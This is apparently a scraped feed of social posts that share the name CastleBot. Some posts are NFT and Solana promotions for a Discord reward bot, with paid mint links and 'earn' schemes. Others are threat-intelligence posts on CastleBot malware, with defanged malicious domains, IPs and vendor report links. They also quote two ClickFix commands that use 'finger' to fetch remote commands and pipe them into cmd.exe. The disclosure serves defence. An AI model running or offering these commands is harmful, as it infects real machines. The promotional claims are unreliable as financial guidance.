🔑 MYSTIKEYS & CASTLEBOT UPDATE 🔑 Task-to-Earn is now LIVE inside Epic Finds Emporium! Our first daily task is available now: 🐺 Mint 1 Howlers Genesis Badge 🏆 Claim 1 XP per day through Task-to-Earn 🎟️ Earn additional XP through Hold-to-Earn Mint Here: launchpad.uni-fy.us/token-mi… This is just the beginning. As I continue building and expanding the system, more tasks and rewards will be added. 📈 Coming Soon: 🐺 Hold 5 Genesis Badges = 5 XP Daily Task 🎯 Additional community quests 🎁 More ways to earn MYSTIKEYS Current Rewards System: 🎟️ Hold-to-Earn Earn 1 XP per Genesis Badge held inside Epic Finds Emporium. 🔑 Every 1,000 XP = 1 MYSTIKEY Save your MYSTIKEYS and exchange them for reward chests loaded with: 🪙 Tokens 🖼️ NFTs 🎨 Custom Artwork 🎵 Music Tracks 🎁 Exclusive Community Rewards 💰 And that's not all... Earn $VPILOT XP across the Solana Sky Pilots ecosystem, including: ✈️ Solana Sky Pilots Discord 🟣 UNI-FY Discord 🐺 Epic Finds Emporium Discord The more you participate across the ecosystem, the more rewards you can unlock. The biggest rewards are waiting for those who save their keys and climb the leaderboards. 🚀 Join Epic Finds Emporium: discord.gg/K8vFvgjHCE Earn XP. Collect MYSTIKEYS. Earn $VPILOT XP. Unlock Rewards. Unfinished by Design. #Howlers #HowlersGenesis #MYSTIKEYS #CastleBot #TaskToEarn #HoldToEarn #NFT #Solana #SolanaSkyPilots #UniFy

🔑 MYSTIKEYS & CASTLEBOT ARE LIVE! 🔑 The Howlers ecosystem just got a major upgrade. 🐺 Hold a Howlers Genesis Badge 💬 Chat in Discord 🏆 Earn XP 🎁 Unlock Rewards Every 1,000 XP = 1 MYSTIKEY Save your keys and redeem them for reward chests: ⚪ Silver Chest – 1 Key 🟡 Gold Chest – 2 Keys 🔵 Diamond Chest – 5 Keys 🔴 Ruby Chest – 10 Keys 🟢 Emerald Chest – 50 Keys 🎁 CURRENT REWARD POOL INCLUDES 🪙 SOL Ecosystem Tokens • SERUMX • YA FOOKIN CUNT ($FOOK) • SAMUZI ($SMZ) • SOL 🖼️ NFT Collections • Corralix NFT • Lil Gargs • Pandas On Sol • Narrrfs World • Turtle Toddlers • Companeons NFTs • Mad Skulz • MNK3YS • Rejected Youth • Rusty Rigs • Stoned Sloths • ZMB3YS 🎨 Additional Rewards • Custom Artwork • PFP Upgrades • Music Tracks • Community Prizes • Exclusive Howlers Rewards ⚠️ Reward amounts and NFTs are distributed randomly and the reward pool will continue to evolve as new prizes are added. 🎟️ Need a Genesis Badge? Mint Here: launchpad.uni-fy.us/token-mi… 💰 Only 0.01 SOL each 🚀 After minting, join Epic Finds Emporium Discord and verify your badge to start earning: discord.gg/K8vFvgjHCE The more you participate, the more rewards you unlock. 🔑 Earn XP. 🎁 Claim MYSTIKEYS. 🏆 Unlock Rewards. #Howlers #HowlersGenesis #MYSTIKEYS #CastleBot #NFT #Solana #Companeons #UniFy #PlayToEarn #HoldToEarn #ChatToEarn

> ClickFix -> CastleLoader -> CastleBot using Finger LOLBin > Stage 1 > "C:\WINDOWS\system32\cmd.exe" /c start "" /min for /f "skip=18 delims=" %T in ('f^^i^^n^^g^^e^^r NjoDPATzUB@cheeshoumreciple.]com') do %T & echo > 38.146.25.]206 #malware #clickfix #castleloader #castlebot

GM ☀️! Brand new month! Let's keep farming @Companeons #Mystikeys! Goal for April is 💯 mystikeys.companeons.io News of the day : @solskypilots keeps building to improve CastleBot @The_Life_Bomb #M2E app has relaunched @PawpularApp start of April step challenge ! Keep walking!

GM ☀️! Sure @Companeons is about community engagement through #CastleBot and mystikeys.companeons.io But it's also about building strong partnerships with beautiful projects! I just joined @narrrf12345 narrrfs.world and got myself 2 fantastic evolving NFTs

zohomailapp[.]com nffjf[.]info payment-uae[.]com sftp[.]sagargolf[.]com job-diva[.]xyz ceprode-ayllu[.]top gamarjoba-ushguli[.]top stein-uk[.]top wsparcie-kobiet[.]xyz pieniadze-dla-kobiet[.]xyz dla-polek[.]xyz loanprocessing-usa[.]top nutritionhealthfitness[.]online facio-uk[.]top smarttechcomputer[.]online e-uliker[.]top stdalfour-us[.]top plcdigi-al[.]xyz safecom-us[.]top fachanwalt-bonn[.]online seventh-dayremnantchurch[.]xyz grg-brevard[.]online losangeles-breastaugmentations[.]online ghana-carnivalclub-berlin[.]online ad-distributorsstore[.]top 62[.]60[.]226[.]73 AS214351 Femo It Solutions Limited 🇩🇪 smb[.]sagargolf[.]com google[.]herionhelpline[.]com ultrafastcore[.]pro sync[.]sagargolf[.]com 85[.]209[.]156[.]5 AS41111 Fast Geo Hosting S.r.l. 🇳🇱 sftp[.]sagargolf[.]com info365-postova[.]com monsuivi-mrelay[.]com obnovitinetfilx[.]com obnovinalog[.]com azuriranjenetfilx[.]com netfilxmx-renewal[.]com netfilxobnoviti[.]com ananeono-netfilx[.]com neak-megujitani[.]com netfilxrs-renewai[.]com zse-platba[.]com vubanka-idp[.]com netfilxcr-renewai[.]com bancodechile-secure[.]com mooneyit-info[.]com renewnetfilx[.]com bancochile-info[.]com netfiixpt-renewai[.]com postova365-info[.]com intesasp-info[.]com suivicolis-2025[.]com aissaleptit[.]com renewaipi[.]com usernet-fiokot[.]info maltapostrack[.]com 365bank-obnovy[.]com renew365postova[.]com moncolis-relai[.]com 365renew[.]com forny-sundhedskort[.]com upsinfo-paquete[.]com renewpostova365[.]com zse-obnovit[.]com idalpha-bnk[.]com umprogrammierung-paket[.]com mbh-renewal[.]com usernet-renovar[.]com obnovypostova365[.]com myhermes-packet[.]com obnovy365banka[.]com usrntsg[.]com usernet-fornya[.]com renewai-sub[.]com accessfiix-pak[.]com zse-obnovy[.]com userpost-kaz[.]com pakfines-gov[.]com renewflix-pak[.]com paktracking[.]com usernet-pak[.]com idhblpak[.]com payment-pkfines[.]com bank365postova[.]com postova365info[.]com pakpostrack[.]info 365postovaobnovit[.]info deliverypk-info[.]com pkpost-fast[.]com isporuka-info[.]com megujitani-szamla[.]com szallitas-informacio[.]com rendorsegportai-fizetes[.]com usernet-frissites[.]com obnovypoistenca[.]com netfilx-megujitani[.]com 213-209-150-229[.]plesk[.]page clever-brahmagupta[.]213-209-150-229[.]plesk[.]page 213[.]209[.]150[.]229 AS2856 British Telecommunications PLC 🇩🇪 #CastleBot #GuLoader @abuse_ch

Flashback! It's been a while since I've seen the "finger" command used to achieve the infection 😄 H/T @malwrhunterteam. FUD on VT "command.bat": 713d4846f83ef09befbb07f27e2f374b766b8aca4a5a1e937ba39b4dbe3c022d. "cmd.exe /c conhost --headless cmd /v:on /c "set a=r& set b=o& set c=t& set u=!a!!b!!b!!c!& set host=finger.nateams[.]com& finger !u!@!host! | cmd" Network comms: http://107.158.128.26/ http://nateams[.]com/ IDS/Yara rules match with #CastleLoader (#CastleBot).

IBM X-Force has been investigating a newly emerging malware framework named CastleBot. The malware is believed to be part of a Malware-as-a-Service (MaaS) operation and is specifically designed for flexible malware deployment. ibm.com/think/x-force/dissec…

Dissecting the CastleBot Malware-as-a-Service operation ibm.com/think/x-force/dissec…

Elastic Security Labs reports that WARMCOOKIE continues to evolve with new features and infrastructure, including a recently identified MaaS loader, CASTLEBOT, and ongoing infections linked to its backdoor. #Cybersecurity #Malware elastic.co/security-labs/rev…

New threat actor alert: TAG-150 has been active since March 2025, deploying CastleLoader, CastleBot, and now CastleRAT. Rapid evolution. Technical sophistication. Expanding infrastructure. Check out the full report from our Insikt Group ⬇️ bit.ly/3Vx7I6V #ThreatIntelligence #Cybersecurity

TAG-150 is a sophisticated #threatactor that has been deploying #CastleLoader, #CastleBot, and the newly identified #CastleRAT since March 2025. @RecordedFuture Insikt Group recently reported on it. Check out our blog for more info and related samples. blog.polyswarm.io/castlerat

Dissecting the CastleBot Malware-as-a-Service operation dlvr.it/TMzSn8 #cyber #threathunting #infosec

Insikt Group identifies a new threat actor, TAG-150, active since at least March 2025. Its multi-layered infrastructure is used to deploy likely self-developed malware families, including CastleLoader, CastleBot, and the newly documented CastleRAT. recordedfuture.com/research/…

2025年3月以降、新たに確認された脅威グループ「TAG-150」が急速に高度化し、独自開発のマルウェア群を投入している。CastleLoader、CastleBotに続き、最新のCastleRATは未公開だったリモートアクセス型トロイの木馬で、グループの能力向上を示す。 感染経路はCloudflare偽装のフィッシングやGitHub偽リポジトリで、被害者自らPowerShellコマンドを実行させる巧妙な手法により、約28.7%という高い感染率を達成した。Recorded Futureの分析によれば、4層構造のC2インフラを運用し、冗長性と秘匿性を確保している。CastleRATはPython版とC版があり、RC4暗号通信、地理情報収集、キーログや画面キャプチャ、プロセス注入、Steamコミュニティを利用したC2デッドドロップなど先進的な機能を備える。レジストリ改変や偽装実行による持続性、Kleenscan利用による検知回避も確認されており、長期的かつ秘匿的な活動を狙う高度な攻撃者像が浮かび上がっている。 cybersecuritynews.com/tag-15…

🔎 CastleBot: modular MaaS empowering infostealer-to-Ransomware attacks IBM X‑Force reveals CastleBot, a new MaaS platform that deploys everything from infostealers to backdoors like NetSupport and WarmCookie, all delivered via fake installers, GitHub impersonation, and ClickFix. #ransomNews #CastleBot #MaaSThreats